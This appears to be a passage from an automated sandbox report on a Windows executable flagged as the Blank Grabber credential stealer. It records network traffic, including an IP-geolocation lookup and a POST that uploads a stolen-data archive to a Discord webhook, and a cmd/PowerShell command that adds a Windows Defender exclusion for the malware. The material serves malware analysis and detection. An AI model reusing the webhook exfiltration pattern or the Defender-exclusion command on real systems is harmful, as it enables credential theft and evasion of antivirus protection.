May 23, 2024 01:36:50.406527996 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406547070 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406555891 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406570911 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406624079 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406651974 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406657934 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406675100 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406722069 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406728983 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406750917 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406785011 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406816006 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.425864935 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426000118 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426011086 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426065922 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426075935 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426094055 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426114082 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426125050 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426134109 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426141977 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426168919 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426189899 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426203966 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426212072 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426222086 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426255941 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426259041 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426285982 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426296949 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426314116 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426322937 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426341057 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426353931 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426362038 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426405907 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426409960 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426431894 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426450014 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426465034 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426481962 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426490068 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426512957 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426525116 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426542997 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426553011 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426562071 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.426582098 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426624060 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426632881 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.426676989 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.435913086 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:51.151699066 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:51.151858091 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:51.151932955 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:51.152772903 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:51.167581081 CEST	49714	80	192.168.2.9	208.95.112.1
May 23, 2024 01:36:51.205621958 CEST	80	49714	208.95.112.1	192.168.2.9
May 23, 2024 01:36:51.205692053 CEST	49714	80	192.168.2.9	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 01:36:49.166210890 CEST	53084	53	192.168.2.9	1.1.1.1
May 23, 2024 01:36:49.174890995 CEST	53	53084	1.1.1.1	192.168.2.9
May 23, 2024 01:36:49.894299030 CEST	64318	53	192.168.2.9	1.1.1.1
May 23, 2024 01:36:49.901182890 CEST	53	64318	1.1.1.1	192.168.2.9
May 23, 2024 01:36:54.921638012 CEST	53	53187	162.159.36.2	192.168.2.9
May 23, 2024 01:36:56.108144045 CEST	53	63792	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 01:36:49.166210890 CEST	192.168.2.9	1.1.1.1	0x3c0a	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.894299030 CEST	192.168.2.9	1.1.1.1	0xcb63	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 23, 2024 01:36:49.174890995 CEST	1.1.1.1	192.168.2.9	0x3c0a	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.901182890 CEST	1.1.1.1	192.168.2.9	0xcb63	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.901182890 CEST	1.1.1.1	192.168.2.9	0xcb63	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.901182890 CEST	1.1.1.1	192.168.2.9	0xcb63	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.901182890 CEST	1.1.1.1	192.168.2.9	0xcb63	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
May 23, 2024 01:36:49.901182890 CEST	1.1.1.1	192.168.2.9	0xcb63	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49714	208.95.112.1	80	7656	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Timestamp	Bytes transferred	Direction	Data
May 23, 2024 01:36:49.181269884 CEST	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.1
May 23, 2024 01:36:49.702807903 CEST	381	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 23:36:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 204 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-175.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.175"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49715	162.159.135.232	443	7656	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 23:36:50 UTC	302	OUT	POST /api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 757061 User-Agent: python-urllib3/2.2.1 Content-Type: multipart/form-data; boundary=7aed04c08861a53965fd837c5996aad0
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 2d 2d 37 61 65 64 30 34 63 30 38 38 36 31 61 35 33 39 36 35 66 64 38 33 37 63 35 39 39 36 61 61 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 74 69 6e 61 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 62 68 53 bd 21 04 00 00 01 0f be 58 82 47 28 22 c7 12 1f 8d 0b 77 25 41 8e 5f 08 9e de ca e2 e7 31 13 50 10 ef e4 cf 92 f4 18 09 cd e4 f6 e3 8d 5f b1 02 e7 53 a8 68 d5 fd 76 ad 04 f1 cc 9a ba 7b e2 3d 02 23 73 f3 25 04 8e c0 1d c4 32 91 b1 59 4a a4 05 e1 19 c0 95 0c f1 5b 7b 5b 08 be fd 20 Data Ascii: --7aed04c08861a53965fd837c5996aad0Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!bhS!XG("w%A_1P_Shv{=#s%2YJ[{[
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 0f 9e 88 72 4e 8f bb a0 5d 01 5f f6 61 9c 01 76 4b a1 0b 1f 9a 7d d9 0f 17 54 0c 4d 69 be 88 18 4a 06 9e 3a bc 51 c8 4a 09 8e f5 f4 ff 8d ee e9 bc a0 d5 7f 86 32 52 3e 78 72 4d b8 b8 a7 4e 1b 95 69 2d e3 92 fe 42 2e 0b a1 00 fa ff 76 d3 58 32 41 f2 df ae cf 7a 39 e2 9a c6 f6 fa 44 35 7c 29 2f 62 54 34 63 d1 35 53 37 4f 60 f2 dd 16 05 72 7f a7 4a 47 89 7f 03 08 fc 4d 83 7b f2 22 2d 68 ff 96 3d 44 94 e8 ae 6b 92 25 3c c7 ae 40 b7 46 98 f0 b6 2f 0f a8 5a 98 9c 85 9d 9c 7e 82 9d 9b 49 20 d9 ee ee ce 83 69 c6 42 bc f4 8e c5 4a b1 bc 54 a0 a0 15 aa 52 fb 5e af 04 4d 2c dc 55 f4 85 4a 0b f3 f4 64 f3 35 78 47 1d 56 35 9d fa 25 57 20 a6 c8 f0 86 ab 83 03 be 76 45 b8 11 86 cd 9e ae 49 b0 00 08 31 fa 3f 53 93 bf 67 f9 8d 5f 76 41 96 c0 d5 70 86 54 21 3a 49 0f c4 e0 Data Ascii: rN]_avK}TMiJ:QJ2R>xrMNi-B.vX2Az9D5\|)/bT4c5S7O`rJGM{"-h=Dk%<@F/Z~I iBJTR^M,UJd5xGV5%W vEI1?Sg_vApT!:I
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 8f c8 db bc ee fa f2 64 78 7e ab 42 88 87 79 95 2e a7 73 96 0f 40 19 1c 99 2e 81 ef 04 f7 1e ee e9 3d b5 94 4d ac 1c 86 33 d4 0a df 10 43 4a db b1 db e2 af f3 72 0d bc 18 d0 78 93 e7 63 83 7a ea 97 bd 61 02 80 97 a5 12 c6 68 2f 7c 8c e7 0c 7f 29 86 25 09 40 fe 99 f7 49 f0 2c 08 fd b5 98 18 b2 d1 b0 e3 8e 3d b9 50 32 68 ce c2 d0 36 6a 8a 53 e5 95 4a 26 ba e4 1f 37 f2 c4 48 b4 74 2c 04 b4 4a 29 a4 00 9c 45 7a 0d 94 20 37 29 d5 1e cd d3 12 9f 84 ca 69 40 e9 a6 52 a0 85 7b de 84 24 f0 08 8c 29 dd ec a4 b4 ba 57 e4 93 12 f8 61 99 04 de 7f 03 93 51 dd 97 11 ff 20 3d 68 de d8 5c ca b9 58 8c ec 75 c4 ec df d5 cc 51 a8 fc d6 d4 bf 1f 84 bc 9b 1a 4e 02 ef 4c b8 b4 25 3b 69 4b 9d 56 d3 6d e7 e2 69 3c 18 46 5d 53 8e d3 77 db 6a 7d 1f 91 e3 20 06 ec e8 b9 94 1b c7 58 Data Ascii: dx~By.s@.=M3CJrxczah/\|)%@I,=P2h6jSJ&7Ht,J)Ez 7)i@R{$)WaQ =h\XuQNL%;iKVmi<F]Swj} X
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 67 83 f7 18 4b 02 26 0c 92 74 00 a8 b2 61 b3 81 6d f9 7f ce 2d 5a f4 d7 0a db 3c b4 0b 97 2d ac 98 fd 51 02 d6 4e 07 05 99 3b ab 30 12 62 85 a6 d2 78 bd 7e 1c 2d 4b 5a 5d ee c5 d2 a0 f3 ed 6a 6a a9 a9 96 47 1b 89 8b 19 45 e1 65 b2 4a 43 3e 0d 9c 77 a5 f3 7a 06 02 b9 2a c2 2c ce 0a c8 ca bf a7 3a c8 43 bb d0 ee 1d 6a 66 b5 59 dc 9e d1 90 1f f9 33 3f 5a 4b b0 e8 fb d6 8c 5e 80 24 1a 75 19 60 b4 b7 35 fe 2b 97 37 fb e3 03 17 0e 69 92 5a b3 d4 59 9e cf ae b3 1b 6c d8 7e 11 93 13 2e 6e 78 92 e7 2d 31 30 df 6e ea 5b f4 59 04 fb 1c 8b 16 ce 59 89 51 1f aa 20 79 45 5f 7a b1 74 d0 4f ef d0 97 2a bd 78 59 60 7f 5f ab 9a 6b 91 9c 79 31 ae 36 45 70 53 9f 2b db 01 e3 d7 f8 72 fe f7 b6 37 f6 c3 37 f3 ee 6d c5 4a 39 fe 5b 80 1a c6 0b 56 c8 bb 8c 0b c4 f5 5a 17 76 4d b6 Data Ascii: gK&tam-Z<-QN;0bx~-KZ]jjGEeJC>wz,:CjfY3?ZK^$u`5+7iZYl~.nx-10n[YYQ yE_ztOxY`_ky16EpS+r77mJ9[VZvM
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 52 f9 58 d0 5c 37 1c 53 8f 67 07 91 e3 f0 95 9e a9 9d 27 80 b6 63 50 f6 fa 21 af b1 1d 90 1d 5c 6c 9b 77 3b f4 81 a3 f4 18 07 2b 9a f3 55 26 81 7b 51 60 ff 33 b2 0b 4f bf 0e 79 60 bd 8b 77 89 c8 e1 e0 f4 35 a2 83 a6 a5 94 0f 45 f2 ea 85 5e 39 7d f1 cc 4b a2 df e5 21 c5 59 5c 58 dc 55 4f f2 17 55 f0 3e d6 47 7c 6c 7f f4 e3 5a f1 d6 44 93 b7 5d d4 ad 67 c9 6d f7 14 b9 5e 97 79 70 bf 3f f9 3c b5 78 6f 34 e8 0a 6f 9e 80 c2 2f 6c 19 d3 fb a1 62 d3 63 e7 ae 01 78 a6 45 20 1d 70 91 0e 3d e7 4f ae 93 53 e0 74 8d e0 73 6a 3c 4f e9 7f d6 b8 fc fa 30 00 2d b7 bc 79 e9 83 15 8b 29 32 d7 55 00 ca e0 f2 2f 03 8a 47 3a 89 4d 92 ec ee 00 35 16 36 6b 7b ed ed 49 6d ef 87 ba ed 88 64 75 3c c9 4a cf 68 74 c3 db 37 07 4a d0 4c da ee c7 f9 88 3c ea a3 ec ce 82 f4 d6 5d 8c 75 Data Ascii: RX\7Sg'cP!\lw;+U&{Q`3Oy`w5E^9}K!Y\XUOU>G\|lZD]gm^yp?<xo4o/lbcxE p=OStsj<O0-y)2U/G:M56k{Imdu<Jht7JL<]u
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: c7 10 1b 8d 87 62 81 18 7c 48 8d 53 a8 d8 fc a4 80 51 63 0a 66 7d ab 27 cd d4 5b 09 40 4f ea 02 63 33 96 ea b4 a2 57 ed 82 94 31 d3 8b 04 c3 60 e6 54 94 dd b3 7e 0f a0 05 d3 76 55 a8 cb 6c a6 85 d5 de ad 31 b7 1e ec a7 0f 36 81 62 bf 53 5b 85 95 44 df db 8d 8e 98 52 93 8a 5e c8 54 c0 6c fc 0a 1b cd 7c 9f 1c 56 4f 11 ac 99 d1 3f 19 3a e5 bd 81 29 d0 f0 1e 00 0e aa 79 d5 e2 ee a6 0c 8a 9a 5c 71 f8 f7 09 17 31 fe 72 e8 5b 69 03 56 1d 25 b9 0c 98 7d 27 00 01 14 41 6a bc eb b1 e1 05 91 ec 81 b7 3c 67 4f a3 11 a3 39 9e 17 54 9d 9f ad 15 90 10 90 45 20 c8 5d 61 dc 6a 2b 6d 6e 2e 8e ef 01 9c 58 b6 0d 09 15 ed 6c 5a 36 47 b7 6a 93 eb b7 59 06 26 e0 1d 75 18 89 ab d0 fb b1 2f 33 51 1a cd d6 52 a3 24 7f 10 ae d8 3d ee 9b 71 ea 7e 07 85 af ba d1 56 47 c4 11 43 c5 a5 Data Ascii: b\|HSQcf}'[@Oc3W1`T~vUl16bS[DR^Tl\|VO?:)y\q1r[iV%}'Aj<gO9TE ]aj+mn.XlZ6GjY&u/3QR$=q~VGC
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: 66 eb 36 8d 36 d6 a7 c2 33 96 46 ab 57 00 7d 39 4c 2d 05 53 ec f6 c6 0a a2 ab 0e 26 12 59 17 42 3e cb 6c d2 d7 44 44 04 c9 09 dc d6 b8 5f c0 a5 51 08 42 54 21 c3 54 d4 86 6a 9f b9 f3 34 ed fe 39 4b d7 fd 42 2d fc cc 4c 40 02 72 c3 24 e1 91 d1 56 6a a7 12 84 cf 94 50 c9 71 4f 8b bc a2 f4 c9 ed 33 f8 8c 2f 9c 5d 40 2d 1b bb d2 83 59 f3 59 08 4a 66 8c b8 98 aa 58 f9 f8 0f 51 2a 59 da c4 e1 bd a7 eb 2a 9b b3 cb 4b c4 7c be 01 f1 e8 a6 e1 dc 71 52 4b 01 82 71 e0 8e 9c 6f c4 0f 67 82 3d 07 3f 74 90 08 16 b5 e7 f1 61 11 96 24 f7 5e 09 9d a2 c1 c3 97 f6 9f f6 e0 dc fc ff d7 10 37 f6 4a 49 2e 5a d4 49 16 69 cc 19 e9 28 10 63 f3 c2 20 13 50 6e 4c 36 40 8f 02 40 85 8d a1 fa 9f 1d 26 73 d4 53 22 17 2d 6a be a0 6d 41 46 b2 14 59 b9 bc 0a ee 8a e4 95 76 23 a4 0d 54 52 Data Ascii: f663FW}9L-S&YB>lDD_QBT!Tj49KB-L@r$VjPqO3/]@-YYJfXQYK\|qRKqog=?ta$^7JI.ZIi(c PnL6@@&sS"-jmAFYv#TR
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: e8 5d b3 80 04 49 61 6e 1a 8b ef 5b df f9 5d f1 35 53 88 21 e1 71 9c 2b d5 98 d7 80 c1 fa 8b 18 86 2e 75 a7 cb dc 8e 42 cf 2e 74 00 65 a4 c0 7c b4 c2 89 e6 17 82 65 10 c7 e3 d0 56 74 75 4e 37 2c d9 63 77 06 a5 a0 1b 40 37 5f 26 81 c9 8e 13 5b 57 78 e4 27 61 52 88 8c 18 fc 65 56 3d 3f 83 44 a7 1e 6b be 91 14 96 72 11 a3 e3 29 71 09 f1 1b 38 ae 0f 4b 3e a9 2f 76 df 79 18 23 96 34 42 95 b4 ad ce 17 27 ce 1d 45 44 6f 42 49 47 50 94 cb 99 08 d1 bb 68 15 8e 7a a0 22 24 3e 3c 10 7a a7 71 b0 d2 1a 63 ae 73 0e 1a fe 33 f7 1d c2 97 d3 a9 18 44 f4 2d df c6 89 98 0b 23 e3 1b e6 06 57 15 d1 ae 04 8e 60 95 0c 72 01 fb d9 ee e5 01 9c d3 b2 fd ae ef 34 5a da 1c 9b 60 79 d1 21 77 36 75 e6 b4 88 26 18 ca ec d5 16 85 15 c4 db 72 8d bc 5a 00 a9 8f 57 ed 3b 0f ed 8a 1d 37 f1 Data Ascii: ]Ian[]5S!q+.uB.te\|eVtuN7,cw@7_&[Wx'aReV=?Dkr)q8K>/vy#4B'EDoBIGPhz"$><zqcs3D-#W`r4Z`y!w6u&rZW;7
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: d5 69 03 93 ac 41 8a 4b 9c 42 49 3e 4b bd 34 fd f4 96 33 58 84 28 c3 c6 36 93 6e 64 6a e5 6a 9f ae cc 01 53 6c cc 5f 17 f9 2c 7b 5d f3 39 22 7d 21 28 95 d2 21 2a 0c 1e 0d c8 a6 07 dc 7d 0c 5a 23 ac 73 97 ce ed c2 df 3b 85 ed 86 7f 2f 44 a6 3b a1 a7 e6 4b f9 63 1f 5a db 1f ba 21 82 a3 67 a9 7b 0d 36 8c 79 b3 b8 70 eb 2b a4 eb 9b b9 04 54 92 41 8b 75 c8 1f 5d a3 41 0f 20 cb 05 0e be d6 c9 f4 8e 21 78 aa 77 8c 13 06 d4 ca a8 02 a2 3a 60 58 11 ce 30 f5 83 2b 47 0a 77 d0 33 f7 6f 99 d7 82 83 38 cd e4 80 5b 4a 4d c5 8c 53 9a 55 d8 51 1f 4f 82 bb 48 25 ae 0b 30 0b 92 b8 10 e1 0a 64 cd b7 82 20 dc 9d 9c 4b 7c 2a d1 5d e3 09 53 74 82 fc f8 68 c7 e5 e9 e5 89 bc 73 df d5 31 b6 bc 83 48 b3 80 58 33 37 4c f1 be b7 bc c6 17 ca 01 dd ed 9b 97 0a 53 e7 39 ec b2 91 79 92 Data Ascii: iAKBI>K43X(6ndjjSl_,{]9"}!(!}Z#s;/D;KcZ!g{6yp+TAu]A !xw:`X0+Gw3o8[JMSUQOH%0d K\|]Sths1HX37LS9y
2024-05-22 23:36:50 UTC	16384	OUT	Data Raw: e6 24 86 7b b5 ba c5 95 2e 4e 7e d1 89 c7 41 25 81 69 4a 99 0e 97 9f da 8e 15 c3 d6 15 aa ef 89 c8 83 3f 24 50 89 11 fb dd 15 00 63 6f 24 fb 3b 89 64 90 fd 34 7e bf 11 5b 6b 2f 65 7f 4f 42 f0 3b 33 49 d2 3d b3 7e 02 4e 00 36 58 9b c0 38 69 e0 12 1d e3 30 38 42 40 d2 74 9d 15 bf 0e b8 97 e3 b1 92 31 44 24 c5 96 50 1c 9b a8 b0 11 9d 6e 78 8d 77 28 81 7d 5d 0e cd b9 fc 46 c3 a9 53 63 6a b5 e8 7a ba cf 1a f4 39 72 0c 62 5a cd 2a 42 8f 54 ce 25 fe 9c 7b a0 de dc a4 fc 44 5e e0 47 8e e8 20 64 66 4a 84 22 e8 5f db 1d cb 8b 44 cb e1 72 a1 bd 2e 65 ee dc d0 3a 0a 53 d8 4b 77 40 fa 2d 4a 53 2a 8f cc 93 93 be 17 de e5 51 82 60 b2 ce db d4 15 8f f5 85 d3 7e 72 84 9c 2a d5 85 d4 a4 58 5f 8d d0 df 15 30 80 70 07 d3 2c 46 b9 4a 82 10 7d f4 32 09 47 1e c7 2f 1d 38 40 20 Data Ascii: ${.N~A%iJ?$Pco$;d4~[k/eOB;3I=~N6X8i08B@t1D$Pnxw(}]FScjz9rbZBT%{D^G dfJ"_Dr.e:SKw@-JSQ`~r*X_0p,FJ}2G/8@
2024-05-22 23:36:51 UTC	1365	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 23:36:51 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=29fc2f58189411efae87a23f64d7541c; Expires=Mon, 21-May-2029 23:36:51 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1716421012 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2BmkMsbaobPUsvbErmh97aDuEbCzYd7k84OocZ%2BABWTU%2FBBDfv9pr9df88oAyPVoigjlE1Vd3yJ5zGGCJjNugcLyJuaxVg2cilH5uYbmSDjy1xFQnYWf8lDmUz4q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=29fc2f58189411efae87a23f64d7541c1ac8b801464fa2929075f1c32ed0b4d0638c0aa645c12adb8bb849f0d67dfc05; Expires=Mon, 21-May-2029 23:36:51 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a3b0507fedfc396abe2f4a23c0c33288c6dc829f-1716421011; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None

Target ID:	0
Start time:	19:36:06
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"
Imagebase:	0x7ff7b10f0000
File size:	7'266'369 bytes
MD5 hash:	030C3C535B2D8F10CEAEEDE6E3FE23F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1329466434.00000162E122B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1329466434.00000162E1229000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:36:07
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"
Imagebase:	0x7ff7b10f0000
File size:	7'266'369 bytes
MD5 hash:	030C3C535B2D8F10CEAEEDE6E3FE23F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1760965599.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1762531034.00000161970DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1757718097.000001619762A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
